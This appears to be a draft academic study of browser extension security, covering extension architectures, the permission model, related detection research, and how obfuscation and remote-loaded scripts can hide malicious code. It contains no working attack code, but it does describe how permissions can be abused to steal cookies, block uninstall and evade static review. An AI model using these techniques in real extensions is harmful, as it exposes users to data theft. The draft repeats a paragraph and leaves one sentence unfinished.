1 Abstract

Browser extensions are widely used today to enhance the way end users interact with the Internet. They can access data from the user by using interfaces provided by the browser. This can be misused to violate their privacy or manipulate the content of a web page in a malicious way. In this work we analyze the possibilities to integrate malicious behavior in extensions. First, we take a look which interfaces the browser provides to the extensions and whether and, if so, how the access is restricted. Using this knowledge, we develop and implement extensions with malicious behavior that uses the provided functionality. We examine popular extensions and what parts of the interfaces they use. Then, show that we can integrate parts of our previously implemented behavior into them. Finally we describe ways to improve the privacy of those susceptible extensions by limiting the possibilities to integrate malicious behavior.

2 Introduction

It is impossible to think about our modern society without the use of web browsers. They represent the connection to the Internet, the biggest until now created information distribution system. Even a person in far reaches can access the newest global information using a browser and the world wide web. There are different ways to deliver the information to the user, such as plain text, embellished web pages, or video and audio streams. The browser then displays these information and allows the user to send information himself back to the origin or other web services. But browsers are limited. The content they are displaying is largely dictated by the web service's author. The best example here are advertisements. The user often does not wish to see them, but the author gets profit from displaying them. It is unreasonable to ask the author to remove his source of gainings. Another example is the design of a web page that is fixed by the developer and the user can only change it, if the developer has implemented the option to do so. To overcome the limitations and to enhance the way the end user interacts with the Internet, most browsers support the use of extensions. These are small programs that add new functionality to the browser by changing the look and the behavior of the browser itself and the web pages that are loaded. Of course, changing the content of a browser itself distinguishes depending on what user interfaces the browser provides. To change the content of a web page the browser grants the extension access to the web pages *Document Object Model (DOM)*. The DOM is a standardized interface for accessing and updating the content, structure, and style of a HTML or XML document [1]. It is implemented by most browsers and allows script languages such as JavaScript to access the web page's content [4]. The browser exposes additional functionality to its extensions, giving an extension a bigger scope of actions as a normal script inside a web page has. For example can an extension use the standardized *XMLHttpRequest (XHR)* [2]. XHR is an interface for JavaScript to transmit data using the HTTP protocol. It is used by web pages to fetch additional data from a server. In doing so, a web page underlies the *Same Origin Policy (SOP)* that prohibits an embedded script to access any server other than the pages origin. An extension is not restricted by the *Same Origin Policy*. The opposite would be impractical because the extension is located on the user's host machine and thereby would have only access to local resources.
All these features that the browser provides to its extensions are necessary for the extension's purpose but they also open the door for malicious behavior and privacy violations. In this work we analyze what malicious behavior is possible to implement in browser extensions.

- First, we list what extensions can do in general. We describe the extension model used by Chrome, Opera, and Firefox and the old model for Firefox.
- We show implementations of malicious extensions.
- We analyze current top Chrome extensions for being over privileged in terms of the used permission model and show that we can integrate malicious behavior into them.
- We describe ways to improve the privacy of founded susceptible extensions.
- Finally, we describe existing models to increase the privacy of extensions in general.

[1] World Wide Web Consortium DOM specification: `http://www.w3.org/DOM/`

[2] World Wide Web Consortium XHR specification: `http://www.w3.org/TR/XMLHttpRequest/`

3 Extension Architecture

We have analyzed three different extension architectures to find commonalities and differences:

- WebExtensions, applicable for Chrome, Opera, and Firefox
- Firefox Add-ons
- Safari Extensions

In 2009, Google introduced a new extension model for its Chrome browser. 4 years later, the developer of the Opera browser decided to change their browser framework to Chromium [17]. By adapting the same underlying framework as Chrome, Opera also adapted the extension model. It became possible to use the same extension on both browsers. The Mozilla developers recently started to implement their own implementation to support Chrome's extension model in Firefox. Their goal is to establish a general model for extensions which is applicable on all browsers. They orientate themselves on the standardization of web pages. The same extension implementation should work equal on all browsers, similar how the same web page is displayed equal on all browsers. In their development process, they named their implementation *WebExtension*. We agreed to adapt their nomenclature in our paper to reefer to this cross-browser extension model. Because the WebExtension support for Firefox is still in development, extensions for Firefox are currently implemented in their old model called *Add-ons*.

Development All extensions are written in web technologies such as JavaScript, HTML and CSS. Therefore, a standard editor can be used to write the extension's source code.

WebExtension	Firefox Add-on	Safari Extension
WebExtensions are developed locally as a bundle of JavaScript, HTML, and CSS files. To debug them, the developer can load the bundle in the browser. There is no need for additional software.	Mozilla provides a JavaScript framework to develop Firefox Add-ons. The developer has to install the framework before he starts to implement an Add-on.	Safari provides an user interface to build extensions. The developer can enter needed information directly in the browser and add local source code files.

Table 1: Differences in extension development

Structure Each extension consists of a background and content scripts.

For every extension exists mandatory information such as name, version, author, icon, permissions, and other metadata. They are stored inside special files in the extension bundle.

WebExtension	Firefox Add-on	Safari Extension
WebExtensions use a `JSON` file called `manifest.json`.	Add-ons also use a `JSON` file called `package.json`.	Safari stores the information and settings in `.plist` files which are filled automatically by Safaris extension builder interface.

Table 2: Differences in extension manifest and settings

Extension Background The extension's main logic is stored inside the extension's background process. It has full access to the browser API and can exchange messages with injected content scripts via a string based message channel.

WebExtension	Firefox Add-on	Safari Extension
The extensions background is stored inside a single HTML page. JavaScript files with the extension's logic are embedded as script elements in the page.		

Table 3: Differences in the extension's background

Browser API The browser provides special functionality to it's extensions such as access to the user's web history and bookmarks, to intercept web requests, and to take screen shots. The extensions background has full access to the API, but content scripts have only access to mandatory modules, for example the communication channel to the background.

WebExtension	Firefox Add-on	Safari Extension
The access to the browser API is restricted by permissions. Each API module has a proper permission which needs to be declared in the extension's manifest to get access to the module. Additionally, some permissions throw a warning when the user installs the extension.		Safari does not support programmatically injection of content script. The developer can only declare them in the extension builder interface.

Table 4: Differences in browser API's

Content Scripts To interact with a web page, the extension executes *content scripts* which have full access to the web page's DOM. They behave like JavaScript embedded inside a HTML page which means they have access to the `window.document` object. This allows them to manipulate the page's structure or change the reaction to user input. Content scripts can not call methods on the extension's core scripts, but only exchange string based messages with them.
The developer can register content scripts for his extension with corresponding URL pattern. The browser compares the pattern with the web pages URL every time a web page is loaded. If both match, the browser will inject the content script in the web page. The developer can use wildcards in the URL pattern to match several web pages at once. For example, a content script with the pattern `http://*.example.com/*` will be injected into web pages from the domain `http://api.example.com/` and `http://www.example.com/foo` but not into the pages from `https://www.example.com/` and `http://www.example.org/`. Additional, if the developer wants to determine himself when to inject a content script, he can programmatically inject them.

WebExtension	Firefox Add-on	Safari Extension
The developer declares content scripts statically in the extension's manifest. At runtime, the injection of static content scripts can not be prevented. Programmatically injection is also possible, but needs special permissions to access the web page.	Content scripts are dynamically registered in the source code at any time.	Safari supports both static and dynamic registration of content scripts, but not programmatically injection. The extension builder interface provides the functionality to add static content scripts. Safari uses not only as a whitelist for its content scripts but also an additional blacklist.

Table 5: Differences in content scripts

The extension models we analyzed have a common base structure. They are implemented in the web technologies JavaScript, HTML and CSS and consists of two parts: The extension's core logic that interacts with the browser and so called *content scripts* that interact with the web page. The extension's core logic is stored inside a single HTML page with embedded JavaScript that implements the behavior. This page is active in the background while the browser is running. It has access to the browser's API that provides additional features such as the access to the browsers tab system or to read the user's bookmarks or web history. Each browser also provides user interfaces to the extension which are mostly buttons in the browser's tool-bars, pop-up HTML pages, or entries in the context menu.
To interact with a web page *content scripts* are executed in the scope of the web pages DOM. They behave like JavaScript which is embedded inside a HTML page, means they have access to the web pages DOM via the `window.document` object. This allows them to manipulate the DOM tree or change the pages reaction to user input. The injection of content scripts inside a web page is restricted by URL pattern. These are matching pattern that use wildcards to match several web pages at once. For example, a content script with the URL pattern `http://*.example.com/*` would be injected into the pages `http://api.example.com/` and `http://www.example.com/foo` but not into the pages `https://www.example.com/` and `http://www.example.org/`. The content script is separated from the extension's core. It can not directly access functions on the extension's core but only exchange messages over a string based channel. It has also almost no access to the browser's API. The range of exposed functions differs between the browsers.
A further separation exists between the web page and each injected content script. Each script and the web page runs in its own JavaScript heap with its own DOM object. Consequently, content scripts among each other and the web page can not access each other. Both the web page's script and the content script have access to the variable `window.document`, but these variables refer to separate JavaScript objects that represent the underlying DOM. If one script now calls a DOM-specific method, such as `createElement()`, the underlying the DOM and both objects are updated accordingly. However,

if a script modifies a non-standard DOM property, such as `document.bar`, it is not transfered to the DOM and therefore not to the other object, too. The web page and a content script can communicate with each other by using the DOM specific function `window.postMessage`. The function fires an event which then can be read by an event listener.

3.1 Multi Browser Extensions

In 2009, Google introduced a new extension model for its Chrome browser. 4 years later, the developer of the Opera browser decided to change their browser framework to Chromium [17]. By adapting the same underlying framework as Chrome, Opera also adapted the extension model. It became possible to use the same extension on both browsers. The Mozilla developers took the chance to expand the utilization of cross browser extensions and integrated Chrome's extension model into Firefox [33].
The model was created accordingly to the proposal from Barth et al. [15]. In his work he investigated the old extension model of Mozilla's Firefox and revealed many vulnerabilities in connection to Firefox extensions running with the user's full privileges. This enables the extension to access arbitrary files and launch new processes. He proposed an new model with a strict separation of an extension's content and an permission system that to make it more difficult for an attacker to gain access to the user's machine.
The permission model is designed to limit the danger from benign-but-buggy extensions [15]. It is assumed that most extensions are developed by non professional developers who might implement an attack vector by mistake. The permissions should prevent the leak of privileged functions in the case that the extension is compromised. For that purpose the model is built on the principle of least privilege. The access to any API module is disabled by default and only enabled if appropriate permissions are set. The developer should only declare permissions that are necessary for his extension's legitimate purpose. In the case that the extension is compromised the attacker can only use the declared functionality at runtime. Cross-origin access is also restricted by permissions. Although extensions are not bound to the *Same Origin Policy*, Chrome disables requests to remote servers if no appropriate host permission is declared. Equal to content scripts, host permissions take an URL pattern to match several hosts at once. Both type of permissions are declared in the extension's mandatory *manifest* file as seen in Figure 1. Some permissions trigger a warning when a user installs the extension. For example results a host permission in a warning that the extension can read and modify the user's data on the host's web page. Warnings also show up if an extension is updated and its permission's have changed.

```
1  {
2    "name": "Example Extension",
3    "description": "Just an example for a manifest.",
4    ...
5    "content_scripts": [
6      {
7        "matches": ["http://www.google.com/*"],
8        "js": ["jquery.js", "myscript.js"]
9      }
10   ],
11   ...
12   "background": {
13     "scripts": ["background.js"],
14     "persistent" : false
15   },
16   ...
17   "permissions": [
18     "history",
19     "cookies",
20     "http://*.google.com/",
21   ],
22
23   "content_security_policy": "default-src 'none'; script-src 'self' 'unsafe-eval';"
24 }
```

Figure 1: Example of a manifest. It shows an extension with two injected scripts and a corresponding host pattern. The extension uses one JavaScript file as its non persistent background page and requests access to two API modules and one cross-origin. Finally, it defines its own Content Security Policy.

There are two kinds of background pages: Persistent background pages that are active all the time and non-persistent background pages also called *event pages* that are only active if needed. The browser loads the event page if a task has to be performed and unloads it as soon as the task is finished. This behavior saves memory and resources, consequently giving a better performance. The event page is triggered if the extension is installed or updated so that the background page can register for events, an registered event is dispatched, or an other script accesses the event page.
Both kinds of background page underly a *Content Security Policy (CSP)* [3]. CSP is a web security policy intended to prevent potential content injection attacks. The developer controls the resources the web page loads and executes by listing trusted sources. This is intended as a deeper defense layer to reduce the harm a malicious injection could do, but it is no replacement for a first defense layer such as an input validation or output encoding. The CSP for the extension's background page holds three default rules:

- JavaScript embedded in the background page with an origin different from the extension's installation is disabled.
- Inline JavaScript such as `<script>` tags or `onclick="function()"` event handler are disabled.
- The use of `eval` and related functions such as `setTimeout()` and `setInterval()` are disabled. [4]

The developer can either relax these policies if his extension needs to use some of the disabled functionality or even tighten them in order to increase the security. Figure 1 shows an example for a CSP. The key `"default-src 'none'` tightens the policy by disabling resources from any source. Controversial, the second key `script-src 'self' 'unsafe-eval'` allows to uses script from withing the extension's installation and relaxes the policy by allowing the use of *eval* inside the loaded script.

The following list is an extract of the provided API modules with associated permissions and which browser currently supports them. Firefox and Opera are still developing their implementation of the API. The whole lists are found on the developer platforms [1, 2, 11]. The list is filtered based on modules that provide functionality which can be misused in some form.

[3] World Wide Web Consortium CSP2 specification: `http://www.w3.org/TR/CSP2/`

[4] The JavaScript function *eval* is considered dangerous. It executes the given string as a new JavaScript process that has the privileges of the calling process. If the given input can be affected by a third party, it would open a possibility for a content injection attack [10].

Module	Description	Potential Risk
activeTab	Gives the extension temporary access to the active tab only if the user invokes the extension - for example by clicking on a button. This permission is suggested for extensions that otherwise would need full, persistent access to every web page to act if invoked by the user. The activeTab permission grants temporary the *tabs* permission without the need to declare it in the manifest. Not supported by Firefox.	
background	If one or more extensions with the background permission are active, the browser runs invisible in the background starting with the user's login. This behavior is only implemented in Chrome and can be disabled generally in Chrome's configuration.	A malicious extension still acts after the browser window is closed.
bookmarks	Gives read and write access to the user's bookmarks. Only partially supported by Firefox.	Get information about preferred web pages or change the URL of a bookmark to a malicious web page.
contentSettings	Allows the extension to overwrite the settings that control whether a web page can use features such as cookies, JavaScript, and plugins for particular web pages. Not supported by Firefox.	Reactivate settings that the user has explicitly deactivated on particular, maybe malicious web pages. For example the location tracking.
cookies	Gives the extension read and write access to all cookies even to *httpOnly* cookies that are normally invisible to client-side JavaScript. Only partially supported by Firefox.	Steal the users session and authentication data that is mostly stored inside cookies.
downloads	With this module the extension can initiate, monitor or manipulate downloads. If the file is labeled as dangerous the browser prompts the user to accept the download [37]. Not supported by Firefox.	
geolocation	Gives the extension access to the HTML geolocation API[5] without prompting the user for permission. Not supported by Firefox and Opera.	Silently track or identify the user.
management	The extension can list, disable or uninstall other extensions with this module. If an other extension should be uninstalled the user is prompted to accept. Only partially supported by Opera and not supported by Firefox.	Silently disable privacy preserving extensions such as *Adblock* or *NoScript*.
privacy	The extension can request to change the browser's privacy settings. The request will be denied if an other extension uses the setting or the access is denied by default. Not supported by Firefox.	
proxy	Allows the extension to manipulate the browser's proxy settings. Not supported by Firefox.	Send user's requests through a malicious proxy like a server that tracks all requests.
system	Provides information about the user's host machine. Not supported by Firefox.	Create a profile to identify the user based on information such as the kernel or display name.
tabs	Gives access to the browser's tab system. Allows to create and close tabs, to inject scripts, and to connected to running content scripts inside a tab. Only partially supported by Firefox and Opera.	Prevent the user from uninstalling the extension by closing the extension management tab. Inject other scripts than the declared content scripts, even remote received.
webRequest	Gives access to events fired by the life cycle of a web request. Allows to observe, intercept or manipulate web requests. Only partially supported by Firefox.	Request data can be read and redirects executed.

The activeTab permission and the event pages do not only give a better performance but do also improve the security. If the extension is compromised the attacker would need to wait until the extension is active before obtaining access and would loose the access when the extension is unloaded. On the other hand if the extension itself is malicious it gets restricted in its actions to only act if the user invokes it.

Chrome distributes its extensions over the Chrome Web Store[6]. The installation of extensions from remote servers was disabled because this mechanism was often misused to install malicious extensions [27]. To further restrict the distribution of malicious extensions, Google added a registration fee for developers [**?**]. The developer has to add a credit card to his Google account. This allows Google to better identify the developer and it discourages possible malicious developers. Opera has its own web store, too [7]. Anyone can commit a new extension which is then reviewed by Opera's developers. The extension is only published if it matches the acceptance criteria. Those range from correct execution over guidelines for adequate design to privacy preserving measures [3]. Extensions in the multi-browser model are currently not published for Firefox [12].

3.2 Firefox ADD-ONs

Mozilla just started implementing the extension model [33]. The model is currently not released to Firefox and those extensions are not publicly distributed [12]. Current extensions for Firefox are called *add-ons* and are build with the browsers native technologies. This allows an add-on to use any feature that the browser can use. Mozilla distributed a JavaScript framework for building their add-ons that operates on the modules system defined by the *CommonJS*[8] module format. This allows to resign from the native technologies and focus the development on web technologies. The framework handles the interaction with the native technologies, consequently keeping the access to the browser's features. If an add-on uses those features, it is automatically registered for an extra security review by Mozilla [5].
The framework uses a *package.json* file that manages the add-on's content similar to the extension's manifest file. Firefox add-ons do not have a permission system comparable to the permissions of the extension model. There is however a *permission* section in the package file. But it only holds three keys: The first indicates whether or not the add-on can access private browsing windows. The second is a list of fully qualified domain names which can be accessed by content scripts. And the third indicates whether or not the add-on is compatible with the multiprocess version of Firefox.

The following list shows an extract of the functionality provided to an add-on filtered on possible privacy risks. The full list of modules can be found on Mozilla's developer network [6, 7]

- Access Firefox's built-in password manager.
- Access users data like bookmarks, favorite web pages, or history.
- Read content from URIs and use XMLHttpRequests [42].
- Firefox provides a long list of events for which an add-on can register [8].
- Read an write environment variables.
- Get technical information about the user's host machine.
- Access the users file system using the native interfaces.

Firefox uses an internal privilege system to restrict the access of remote JavaScript code. They differentiate between trusted *chrome* code and untrusted *content* code. Chrome code is everything that comes from the browser itself. Its own JavaScript that interacts with the underlying C++ core and add-ons that have access to the browser's API. On the other hand is everything that is loaded from the web classified as content. Objects in a higher privileged scope have full access to other objects in a less privileged scope. But by default they only see the native object without any modifications by the less privileged code. This prevents the higher level code to be tricked with modified functionality by untrusted code. Contrary, less privileged code can not access higher privileged code. In addition to the two main privilege levels, chrome code can generate sandboxes and determines its privilege level and its access to certain objects. Thereby it is possible to give a piece of JavaScript fine grained access to needed functionality without exposing security relevant functions and still protect it from access by less privileged code. For example, content scripts are executed inside a sandbox with certain privileges over content code. Thereby it is protected from direct access by the web page's code and can only see the web page's unmodified DOM. But it has still less privileges than chrome code and can therefore not access the add-on's core

[6] Chrome Web Store: `https://chrome.google.com/webstore/category/extensions`
[7] Opera Web Store: `https://addons.opera.com/en/`
[8] CommonJS Wiki Modules specification: `http://wiki.commonjs.org/wiki/Modules/1.1.1`

or the browser's API.
Firefox uses a security mechanism to prevent an attacker that has compromised an add-on to access submodules that are not explicit requested inside the add-on. On compiling the add-on, a scanner lists all requests to modules inside the add-on's code. The runtime loader will actually prevent the loading of modules that are not listed. This prevents an attacker to use further modules and more privileged functions at runtime.

Mozilla distributes add-ons for Firefox over their own web store[9] but also allows the installation from private web pages. Add-ons published over the web store are target to an security review [9]. After passing the review the add-on is signed by Mozilla what is shown on installation. Similarly, if an add-on is published private it is labeled as untrusted on installation.

[9] Firefox Web Store: `https://addons.mozilla.org/en-US/firefox/`

4 Related Works

4.1 Extension Analysis

The basis for Chrome's extension architecture was proposed by Adam Barth et al. who analyzed Firefox's Add-on model [15]. They found several exploits which may be used by attackers to gain access to the user's computer. In their work, they focus on unintentional exploits in extensions which occur because extension developer are often hobby developers and not security experts. Firefox runs its extensions with the user's full privileges including to read and write local files and launch new processes. This gives an attacker who has compromised an extension the possibility to install further malware on the user's computer. Barth et al. proposed a new model for extensions to decrease the attack surface in the case that an extension is compromised. For that purpose, they proposed a privilege separation and divided their model in three separated processes. *Content scripts* have full access to the web pages DOM, but no further access to browser intern functions because they are exposed to potentially attacks. The browser API is only available to the extension's *core* which runs in another process as the content scripts. Both can exchange messages over a string based channel. The core has no direct access to the user's machine. It can exchange messages with optionally *native binaries* which have full access to the host.
To further limit the attack surface of extensions, they provided an additional separation between content scripts and the underlying web page called *isolated world*. The web page and each content script runs in its own process and has its own JavaScript object of the DOM. If a script changes a DOM property, all objects are updated accordingly. On the other hand, if a non-standard DOM property is changed, it is not reflected onto the other objects. This implementation makes it more difficult to compromise a content script by changing the behavior of one of its functions.
For the case that an attacker was able to compromise the extension's core and gains access to the browser's API, Barth et al. proposed a permission system with the principle of least privileges to reduce the amount of available API functions at runtime. Each extension has by default no access to functions which are provided by the browser. It has to explicit declare corresponding permissions to these functions on installation. Therefore, the attacker can only use API functions which the developer has declared for his extension.

Nicholas Carlini et al. evaluated the three security principles of Chrome's extension architecture: *isolated world*, *privilege separation* and *permissions* [19]. They reviewed 100 extensions and found 40 containing vulnerabilities of which 31 could have been avoided if the developer would have followed simple security best practices such as using HTTPS instead of HTTP and the DOM function innerText that does not allow inline scripts to execute instead of innerHtml. Evaluating the isolated world mechanism, they found only three extensions with vulnerabilities in content scripts; two due to the use of eval. Isolated world effectively shields content scripts from malicious web pages, if the developer does not implement explicit cross site scripting attack vectors. Privilege separation should protect the extension's background from compromised content scripts but is rarely needed because content scripts are already effectively protected. They discovered that network attacks are a bigger thread to the extension's background than attacks from a web page. An attacker can compromise an extension by modifying a remote loaded script that was fetched over an HTTP request. The permission system acts as security mechanism in the case that the extension's background is compromised. Their review showed that developers of vulnerable extensions still used permissions in a way that reduced the scope of their vulnerability. To increase the security of Chrome extensions, Carlini et al. proposed to ban the loading of remote scripts over HTTP and inline scripts inside the extension's background. They did not propose to ban the use of eval in light of the facts that eval itself was mostly not the reason for a vulnerability and banning it would break several extensions.

Mike Ter Louw et al. evaluated Firefox's Add-on model with the main goal to ensure the integrity of an extension's code [39]. They implemented an extension to show that it is possible to manipulate the browser beyond the features that Firefox provides to its extensions. They used this to hide the extension completely by removing it from Firefox installed extensions list and injecting it into an presumably benign extension. Furthermore, their extension collects any user input and data and sends it to an remote server. The integrity of an extension's code can be harmed because Firefox signs the integrity on the extension's installation but does not validate it on loading the extension. Therefore, an malicious extension can undetected integrate code into an installed extension. To remove this vulnerability Ter Louw et al. proposed user signed extensions. On installation the user has to explicit allow the extension which is then signed with a hash certificate. The extension's integrity will be tested against the certificate when it is loaded. To protect the extension's integrity at runtime they added policies on a per extension base such as to disable the access to Firefox's native technologies.

An approach similar to the policies from Louw et al. was developed by Kaan Onarlioglu et al. [36]. They developed a policy enforcer for Firefox Add-ons called *Sentinel*. Their approach adds a runtime monitoring to Firefox for accessing the browser's native functionality and acts accordingly to a local policy database. Additional policies can be added by the user which enables a fine grained tuning and to adapt to personal needs. The disadvantage is that the user needs to have knowledge about extension development to use this feature. The monitoring is implemented by modifying the Add-on

SDK. They modified those JavaScript modules that interact with the native technologies by adding wrappers that execute the policies.

4.2 Extension Attacks

Lei Liu et al. evaluated the security of Chrome's extension architecture against intentional malicious extensions [30]. They developed a malicious extension which can execute password sniffing, email spamming, DDoS, and phishing attacks to demonstrate potential security risks. Their extension works with minimal permissions such as access to the tab system and access to all web pages with `http://*/*` and `https://*/*`. To demonstrate that those permissions are used in real world extensions, they analyzed popular extensions and revealed that 19 out of 30 evaluated extensions did indeed use the `http://*/*` and `https://*/*` permissions. Furthermore, they analyzed thread models which exists due to default permissions such as full access to the DOM and the possibility to unrestrictedly communicate with the origin of the associated web page. These capabilities allow malicious extension to execute cross-site request forgery attacks and to transfer unwanted information to any host. To increase the privacy of a user, Liu et al. proposed a more fine grained permission architecture. They included the access to DOM elements in the permission system in combination with a rating system to determine elements which probably contain sensitive information such as password fields or can be used to execute web requests such as iframes or images.

A further research about malicious Chrome extensions demonstrates a large list of possible attacks to harm the user's privacy [16]. Lujo Bauer et al. implemented several attacks such as stealing sensitive information, executing forged web request, and tracking the user. All their attacks work with minimal permissions and often use the `http://*/*` and `https://*/*` permissions. They also exposed that an extension may hide it's malicious intend by not requiring suspicious permissions. To still execute attacks, the extension may communicate with another extension which has needed permissions.

4.3 Malicious Code Detection

Hulk is an dynamic analysis and classification tool for chrome extensions [26]. It categorizes analyzed extensions based on discoveries of actions that may or do harm the user. An extension is labeled *malicious* if behavior was found that is harmful to the user. If potential risks are present or the user is exposed to new risks, but there is no certainty that these represent malicious actions, the extension is labeled *suspicious*. This occurs for example if the extension loads remote scripts where the content can change without any relevant changes in the extension. The script needs to be analyzed every time it is loaded to verify that it is not malicious. This task can not be accomplished by an analysis tool. Lastly an extension without any trace of suspicious behavior is labeled as *benign*. Alexandros Kapravelos et al. used Hulk in their research to analyze a total of 48,322 extensions where they labeled 130 (0.2%) as malicious and 4,712 (9.7%) as suspicious.
Static preparations are performed before the dynamic analysis takes action. URLs are collected that may trigger the extension's behavior. As sources serve the extension's code base, especially the manifest file with its host permissions and URL pattern for content scripts, and popular sites such as Facebook or Twitter. This task has its limitation. Hulk has no account creation on the fly and can therefore not access account restricted web pages.
The dynamic part consists of the analysis of API calls, in- and outgoing web requests and injected content scripts. Some calls to Chrome's extension API are considered malicious such as uninstalling other extensions or preventing the user to uninstall the extension itself. This is often accomplished by preventing the user to open Chrome's extension tab. Web requests are analyzed for modifications such as removing security relevant headers or changing the target server. To analyze the interaction with or manipulation of a web page Hulk uses so called *honey pages*. Those are based on *honeypots* which are special applications or server that appear to have weak security mechanisms to lure an attack that can then be analyzed. Honey pages consists of overridden DOM query functions that create elements on the fly. If a script queries for a DOM element the element will be created and any interaction will be monitored.

WebEval is an analysis tool to identify malicious chrome extensions [24]. Its main goal is to reduce the amount of human resources needed to verify that an extension is indeed malicious. Therefore it relies on an automatic analysis process whose results are valuated by an self learning algorithm. Ideally the system would run without human interaction. The research of Nav Jagpal *et al*. shows that the false positive and false negative rates decreases over time but new threads result in a sharp increase. They arrived at the conclusion that human experts must always be a part of their system. In three years of usage WebEval analyzed 99,818 extensions in total and identified 9,523 (9.4%) malicious extensions. Automatic detection identified 93.3% of malicious extensions which were already known and 73,7% of extensions flagged as malicious were confirmed by human experts.
In addition to their analysis pipeline they stored every revision of an extension that was distributed to the Google Chrome

web store in the time of their research. A weakly rescan targets extensions that fetch remote resources that can become malicious. New extensions are compared to stored extensions to identifying near duplicated extensions and known malicious code pattern. WebEval also targets the identification of developer who distribute malicious extensions and fake accounts inside the Google Chrome web store. Therefore reputation scans of the developer, the account's email address and login position are included in the analysis process.
The extension's behavior is dynamically analyzed with generic and manual created behavioral suits. Behavioral suits replay recorded interactions with a web page to trigger the extension's logic. Generic behavioral suits include techniques developed by Kapravelos et al. for Hulk [26] such as *honeypages*. Manual behavioral suits test an extension's logic explicit against known threads such as to uninstall another extension or modify CSP headers. In addition, they rely on anti virus software to detect malicious code and domain black lists to identify the fetching of possible harmful resources. If new threads surface WebEval can be expanded to quickly respond. New behavioral suits and detection rules for the self learning algorithm can target explicit threads.

VEX is a static analysis tool for Firefox Add-ons [14]. Sruthi Bandhakavi et al. analyzed the work flow of Mozilla's developers who manually analyze new Firefox Add-ons by searching for possible harmful code pattern. They implemented VEX to extend and automatize the developer's search and minimize the results. VEX uses information flow pattern based on graph system to detect vulnerabilities. They created pattern for possible cross site scripting attacks with *eval* or the DOM function *innerHtml* and Firefox specific attacks that exploit the improper use of *evalInSandbox* or wrapped JavaScript objects. More vulnerabilities can be covered by VEX by adding new flow pattern. A crucial limitation is that VEX targets only buggy Add-ons without harmful intent or code obfuscation.

Oystein Hallaraker et al. developed an auditing system for Firefox's JavaScript engine to detect malicious code pieces [23]. The system logs all interaction JavaScript and the browser's functionalities such as the DOM or or the browser's native code. The auditing output is compared to pattern to identify possible malicious behavior. Hallaraker et al. did not propose any mechanism to verify that detection results are indeed malicious. The implemented pattern can also match benign code. Their work targets JavaScripts embedded into web pages. Applying their system to extensions could be difficult, because extensions do more often call the browser's functionalities in an benign way due to an extension's nature.

4.4 Information Flow Control In JavaScript

Philipp Vogt et al. developed a system to secure the flow of sensitive data in JavaScript browsers and to prevent possible cross site scripting attacks [43] . They taint data on creation and follow its flow by tainting the result of every statement such as simple assignments, arithmetical calculations, or control structures. For this purpose they modified the browser's JavaScript engine and also had to modify the browser's DOM implementation to prevent tainting loss if data is temporarily stored inside the DOM tree. The dynamic analysis only covers executed code. Code branches that indirect depend on sensitive data can not be examined. They added a static analysis to taint every variable inside the scope of tainted data to examine indirect dependencies.
The system was designed to prevent possible cross site scripting attacks. If it recognizes the flow of sensitive data to an cross origin it prompts the user to confirm or decline the transfer. An empirical study on 1,033,000 unique web pages triggered 88,589 (8.58%) alerts. But most alerts were caused by web statistics or user tracking services. This makes their system an efficient tool to control information flow to third parties. The system could be applied to extensions for the same purpose and as security mechanism to prevent data leaking in buggy extensions.

Sabre is a similar approach to the tainting system from Vogt et al. but focused on extensions [21, 43]. It monitors the flow of sensitive information in JavaScript base browser extensions and detects modifications. The developers modified a JavaScript interpreter to add security labels to JavaScript objects. Sabre tracks these labels and rises an alert if information labeled as sensitive is accessed in an unsafe way. Although their system is focused on extensions it needs access to the whole browser and all corresponding JavaScript applications to follow the flow of data. This slows down the browser. Their own performance tests showed an overhead factor between 1.6 and 2.36. A further disadvantage is that the user has to decide if an alert is justified. The developer added a white list for false positive alarms to compensate this disadvantage.

5 Extension Implementation

5.1 Malicious Code Fetching

5.1.1 Code Obfuscation

Code obfuscation describes the transformation of a program's source code into a form in which it takes more time to analyze it's capabilities and purpose than in it's original state but without changing the execution result. It was originally developed to protect a developer's implementation from code plagiarism. Other developers should not be able to understand the concrete implementation of the program or algorithm. Nowadays, it is often used to hide malicious behavior from detection. Code obfuscation changes the code's structure and therefore prevents the detection of known code pattern. It also changes the application's hash signatures which are often used by anti-virus software to identify known threats. A simple method of code obfuscation is to change the order of methods in the source code. This results in a different hash signature for each order but still gives the same result after execution.

Code obfuscation is used in programing languages without a strict syntax. The first languages for which obfuscation was used were C and C++.

Code obfuscation should not be confused with minification or encryption. Minification targets to decrease the size and hence the download time of JavaScript files. It is often implemented as a script which prints the original script. Although the minimized JavaScript code is not readable by a human, its execution returns the original source code. This fact renders minification useless as an obfuscation technique. Similar, encrypted code is unreadable not only to a human but also to the compiler. Consequently, encryption can not be used as an obfuscation technique because obfuscated code has still to be executable.

Some techniques which are used for code obfuscation only hamper manual analysis. They change the visual representation of the code and remove information that assist developer to understand the code's capabilities.

- **Remove Comments** Comments help other developers to understand the code. They are often placed next to code sections where the exact operation is not obvious. The removing of comments can not be reverted because there are no traces left which may be used to restore them.
- **Remove Code Structure** Using whitespace, linebreaks, and indenting improves the readability of a source code. Removing them results in a single line of code. There exist many tools that can revert this action. For instance, the JavaScript library *js-prettify* which was especially developed for this task.
- **Rename Variables** Meaningful variable and method names facilitate the comprehension of an application's source code. Replacing them with meaningless or random strings removes a further information that helps understanding the code and increases the probability to mistake variables.

Static analysis tools such as VEX or the implementation from Hallaraker et al. are still able to detect malicious behavior in code which was obfuscated with previously described techniques [14, 23]. These techniques do not change the implementation itself but only the source code's appearance. Other techniques

5.1.2 Remote Loaded Scripts

Another possibility to hide a malicious code snippet is to load it from a remote server and execute it at runtime. The code is not present in the extension's installation and can therefore not be detected by a static analysis.

An extension has several possibilities to load a remote script. HTML pages which are bundled in the extension's installation can include `<script>` elements with a `src` attribute pointing to a remote server. If the extension is executed and the page is loaded, the browser automatically loads and executes the remote script. This mechanism is often used to include public scripts for example from Google Analytics.

A WebExtension needs to explicit state that it wants to fetch remote scripts in its background page. The default Content Security Policy disables the loading of scripts with an script element which have another origin than the extension's installation. We can relax the default CSP and enable the loading of remote scripts over HTTPS by adding an URL pattern for the desired origin. The CSP allows wildcards in the URL pattern, but only for subdomains. The domain itself has to be explicit stated denying the attacker the possibility to disguise the address of his remote server.

Extensions are able to load resources with a XMLHttpRequest. If called from a content script, the XMLHttpRequest will be blocked by the Same Origin Policy if the target does not match the current web page's origin. However, the same restriction does not apply to the extension's background. If the XMLHttpRequest is executed from within the background process, any arbitrary host is allowed as target.
Again, WebExtensions underly a further restriction. Only if a matching host permission is declared in the extension's manifest, the browser will allow the web request. The attacker has to declare an URL pattern which matches his remote server. To disguise the concrete URL of his remote server, the attacker may take use of the pattern `http://*/*` and `https://*/*`.
